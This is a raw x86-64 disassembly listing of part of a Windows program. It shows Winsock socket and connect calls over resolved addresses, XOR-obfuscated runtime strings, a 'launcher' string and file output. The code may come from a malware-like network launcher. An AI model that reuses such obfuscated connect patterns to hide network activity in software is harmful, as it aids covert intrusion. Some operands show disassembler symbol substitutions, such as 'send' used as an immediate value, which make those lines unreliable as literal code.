mov byte [rbp + 0x2a0], 0
mov rdx, qword [rbp + 0x898]
cmp rdx, 0xf
jbe 0x14000f4c5
inc rdx
mov rcx, qword [rbp + 0x880]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f4bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010408
call fcn.140052040
nop
mov rdx, qword [rbp + 0x298]
cmp rdx, 0xf
jbe 0x14000f506
inc rdx
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001040e
call fcn.140052040
movdqu xmmword [rbp + 0x290], xmm6
mov byte [rbp + 0x280], 0
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14000f557
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f551
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010414
call fcn.140052040
nop
mov rdx, qword [rbp + 0x778]
cmp rdx, 0xf
jbe 0x14000f599
inc rdx
mov rcx, qword [rbp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f593
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001041a
call fcn.140052040
nop
mov rdx, qword [rbp + 0x338]
cmp rdx, 0xf
jbe 0x14000f5da
inc rdx
mov rcx, qword [rbp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f5d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010420
call fcn.140052040
movdqu xmmword [rbp + 0x330], xmm6
mov byte [rbp + 0x320], 0
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0xf
jbe 0x14000f62a
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f625
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010426
call fcn.140052040
movdqu xmmword [rbp + 0x1b0], xmm6
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x7d8]
cmp rdx, 0xf
jbe 0x14000f67a
inc rdx
mov rcx, qword [rbp + 0x7c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f675
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001042c
call fcn.140052040
movdqu xmmword [rbp + 0x7d0], xmm6
mov byte [rbp + 0x7c0], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000f6c5
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f6bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010432
call fcn.140052040
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000f707
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f701
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010438
call fcn.140052040
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000f748
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f743
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001043e
call fcn.140052040
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x14001035e
mov rdi, qword [rbp + 0x718]
test rdi, rdi
je 0x140010352
movabs r12, 0x969e07fd036d5284
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x14001033e
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
mov r14d, eax
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rbx, 0xe2fd62936d0211a4
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rcx, 0x8753f2366f3dba63
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x850], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x850]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f830
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140019990
nop
lea r9, [rbp + 0x895]
mov r8d, r14d
test r14d, r14d
jns 0x14000f8a0
neg r8d
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000f860
dec r9
mov byte [r9], 0x2d
jmp 0x14000f8ca
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000f8a0
lea r8, [rbp + 0x895]
mov rdx, r9
lea rcx, [rbp + 0x1c0]
call fcn.14001a3a0
nop
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xc6d043535370f1bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x2b30517d4253347b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rcx, 0x8753f2366f3dba63
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x7c0]
vmovdqa ymmword [rbp + 0x40], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x840], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x848], rax
vmovdqa xmm0, xmmword [rbp + 0x10]
vxorps xmm0, xmm0, xmmword [rbp + 0x840]
vmovdqa xmmword [rbp + 0x10], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r13
mov qword [rbp + 0x98], r13
lea rax, [rbp + 0x10]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x14000fa11
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x80]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rcx, 0x8753f2366f3dba63
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x30], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movdqa xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r13
lea rax, [rbp + 0xc0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000fb06
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.140019990
nop
lea r9, [rbp + 0x895]
mov r8d, WSAGetLastError
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000fb31
lea r8, [rbp + 0x895]
mov rdx, r9
lea rcx, [rbp + 0x800]
call fcn.14001a3a0
lea r8, [rbp + 0x800]
lea rdx, [rbp + 0x240]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd0], rcx
movabs rax, 0xe2fd62936d0211a4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xd8], rcx
movabs rcx, 0x8753f2366f3dba63
mov qword [rbp], rcx
mov rcx, qword [rbp]
mov qword [rbp + 0x760], rcx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0xd0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], r13
mov r8d, 8
lea rdx, str.launcher
lea rcx, [rbp + 0x100]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rcx, 0xe2fd62936d0211a4
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0x8753f2366f3dba63
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movdqa xmm0, xmmword [rbp + 0x750]
xorps xmm0, xmmword [rbp + 0x860]
movdqa xmmword [rbp + 0x750], xmm0
lea r8, [rbp + 0x100]
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x260]
call fcn.140018f00
nop
lea rcx, [rbp + 0xd0]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x14000fcc0
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0x3a0]
call fcn.14001a0f0
nop
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x3a0]
lea rcx, [rbp + 0x220]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x30]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000fd36
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x220]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x370], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x360]
lea rcx, [rbp + 0x200]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000fd96
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x200]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
lea r9, [rbp + 0x1c0]
lea r8, [rbp + 0x340]
lea rcx, [rbp + 0x380]
call fcn.14001a0f0
nop
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x380]
lea rcx, [rbp + 0xe0]
call fcn.14001a0f0
nop
lea rcx, [rbp + 0x610]
call fcn.140017c10
nop
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
mov rcx, rax
call fcn.14001aa60
nop
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x610], rax
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x60c], edx
lea rcx, [rbp + 0x618]
call fcn.140017840
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x610], rax
mov rax, qword [rbp + 0x610]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x60c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x6b8], rax
lea rcx, [rbp + 0x6b8]
call fcn.140050f68
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000ff04
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000feff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010444
call fcn.140052040
mov qword [rbp + 0xf0], r13
mov qword [rbp + send8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp + 0x398]
cmp rdx, 0xf
jbe 0x14000ff5f
inc rdx
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001044a
call fcn.140052040
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0xf
jbe 0x14000ffa1
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010450
call fcn.140052040
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14000ffe2
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ffdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010456
call fcn.140052040
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], send
mov byte [rbp + 0x200], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0xf
jbe 0x14001003d
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010037
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001045c
call fcn.140052040
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14001007e
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010079
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010462
call fcn.140052040
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], send
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x1400100d9
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400100d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010468
call fcn.140052040
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x14001011b
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010115
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001046e
call fcn.140052040
nop
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x14001015c
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010157
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010474
call fcn.140052040
mov qword [rbp + 0x270], r13
mov qword [rbp + 0x278], send
mov byte [rbp + 0x260], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x1400101b6
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400101b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001047a
call fcn.140052040
mov qword [rbp + 0x110], r13
mov qword [rbp + 0x118], send
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x140010210
inc rdx
mov rcx, qword [rbp + 0x240]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001020b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010480
call fcn.140052040
mov qword [rbp + 0x250], r13
mov qword [rbp + 0x258], send
mov byte [rbp + 0x240], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14001026b
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010265
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010486
call fcn.140052040
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x1400102ad
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400102a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001048c
call fcn.140052040
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x1400102ef
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400102e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010390
call fcn.140052040
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140010326
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010321
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010396
call fcn.140052040
cmp r14d, 0xffffffff
jne 0x14001034b
mov rcx, r15
call qword [sym.imp.WS2_32.dll_closesocket]
mov r15, rsi
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x14000f780
mov rdi, qword [rbp + 0x718]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rax, r15
mov rcx, qword [rbp + 0x8b0]
xor rcx, rsp
call fcn.140052020
mov rbx, qword [rsp + 0x970]
movaps xmm6, xmmword [rsp + 0x910]
add rsp, 0x920
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
nop
call fcn.140061180
int3